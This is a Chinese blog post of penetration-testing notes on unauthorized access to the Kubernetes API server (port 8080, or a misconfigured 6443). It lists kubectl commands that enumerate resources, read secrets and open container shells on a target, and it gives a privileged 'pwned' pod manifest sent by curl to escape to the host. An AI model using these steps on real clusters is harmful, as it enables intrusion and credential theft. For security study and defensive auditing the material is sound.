组件未授权

ApiServer未授权访问

提供了资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制

K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port),8080 端口提供 HTTP 服务,没有认证授权机制,而 6443 端口提供 HTTPS 服务,支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动,而 6443 端口启动。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml 配置文件。

如果目标 K8s 的 8080 端口开启了,由于其没有认证授权机制,因此存在未授权访问。
如果目标 K8s 的 6443 端口开启了,如果配置错误,也可以导致存在未授权访问。

有API server未授权:

  • 可控所有k8s资源
  • 可获取几乎所有容器的交互式shell
  • 利用一定技巧可获取所有容器母机的交互式shell

8080端口:

2025-07-27T14:12:35.png

设置后重启systemctl restart kubectl

访问后可以得到如
2025-07-27T14:12:48.png

6443端口:

如果配置不当,将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问,向集群内下发指令。

正常情况下访问 6443 端口,提示 Forbidden。

执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

利用的话先要安装kubectl:

#查询最新版本号
proxychains curl -s https://dl.k8s.io/release/stable.txt
下载
proxychains curl -LO https://dl.k8s.io/release/v1.33.3/bin/linux/amd64/kubectl
chmod +x kubectl
mv kubectl /usr/local/bin/

利用:

命令也行,get pods啥的获取信息也可以http://1.1.1.1:8080/api/v1/namespaces/default/pods?limit=100#直接访问api

查看集群信息
kubectl -s http://1.1.1.1:8080 cluster-info

查看node节点信息以及pod信息
kubectl -s http://1.1.1.1:8080 get nodes
kubectl -s http://1.1.1.1:8080 get pods

查看node和pod的详细信息
kubectl -s http://1.1.1.1:8080 get nodes -o wide
kubectl -s http://1.1.1.1:8080 describe pod escaper   如果命名空间不在default 可以指定-n <namespace>

进入到escaper
kubectl -s http://1.1.1.1:8080 exec -n default -it escaper -- /bin/bash


下面是扩展的命令:
kubectl get pods   #查询Pod
kubectl get pods -n namespace   #查询指定命名空间的Pod
kubectl get pods --all-namespaces   #查询所有命名空间的Pod
kubectl describe pod pod-name   #查询Pod的详细信息
kubectl get serviceaccount   #查询服务账户详情
kubectl create serviceaccount account-name   #创建服务账户
kubectl config view 打印出kubeconfig   #配置内容
kubectl get rolebinding -n namespace   #查看rbac权限设置
kubectl describe role role-name -n namespace   #查看角色所绑定的规则
kubectl exec -it pod-name -c container-name -- /bin/bash   #进入指定Pod的容器内部
kubectl cp pod-name:container-path local-path   #从容器内复制文件到本地
kubectl get deployment   #查询Deployment的信息
kubectl scale deployment deployment-name --replicas=3   #扩容/缩容Deployment的Pod数量
kubectl rollout restart deployment deployment-name   #重启Deployment管理的所有Pod
kubectl apply -f file.yaml   #应用YAML配置文件

kubectl -s http://<ip>:<port> cluster-info             # 查看集群信息
kubectl -s http://<ip>:<port> get nodes -o wide        # 获取所有节点及详细信息
kubectl -s http://<ip>:<port> get pods -A              # 获取所有命名空间下的 Pods
kubectl -s http://<ip>:<port> get namespaces           # 列出所有命名空间
kubectl -s http://<ip>:<port> get svc -A               # 列出所有服务
kubectl -s http://<ip>:<port> get deployments -A       # 查看部署信息
kubectl -s http://<ip>:<port> get daemonsets -A        # 查看 DaemonSets
kubectl -s http://<ip>:<port> get statefulsets -A      # 查看 StatefulSets
kubectl -s http://<ip>:<port> get configmap -A         # 配置数据可能含凭证
kubectl -s http://<ip>:<port> get secrets -A           # ⚠️ 尝试读取密钥(敏感)

kubectl -s http://<ip>:<port> describe node <node-name>
kubectl -s http://<ip>:<port> describe pod <pod-name> -n <namespace>
kubectl -s http://<ip>:<port> describe svc <svc-name> -n <namespace>
kubectl -s http://<ip>:<port> describe secret <secret-name> -n <namespace>

kubectl -s http://<ip>:<port> exec -n <ns> -it <pod> -- /bin/bash   # 交互式Shell
kubectl -s http://<ip>:<port> exec -n <ns> <pod> -- cat /etc/passwd # 执行命令
kubectl -s http://<ip>:<port> cp <ns>/<pod>:<容器路径> <本地路径>     # 拷贝容器文件

2025-07-27T14:13:05.png

2025-07-27T14:13:10.png

2025-07-27T14:13:16.png

可以执行命令之后如果有什么逃逸就可以操作了

更可以直接用api创建一个特权容器,然后挂载逃逸

创建一个名为 pwned 的 Pod,使用 alpine 镜像,开启特权权限:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "pwned",
    "namespace": "default"
  },
  "spec": {
    "containers": [
      {
        "name": "pwned",
        "image": "alpine",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ],
    "hostNetwork": true,
    "hostPID": true,
    "restartPolicy": "Never"
  }
}

发送

curl -X POST http://1.1.1.1:8080/api/v1/namespaces/default/pods \
  -H "Content-Type: application/json" \
  -d @pwned.json

还是用exec执行命令好一些,他好像是ws不太好弄

kubectl -s http://1.1.1.1:8080 exec -n default -it pwned -- /bin/sh

先到这后面慢慢补吧。。。。。。

最后修改:2025 年 07 月 27 日
如果觉得我的文章对你有用,请随意赞赏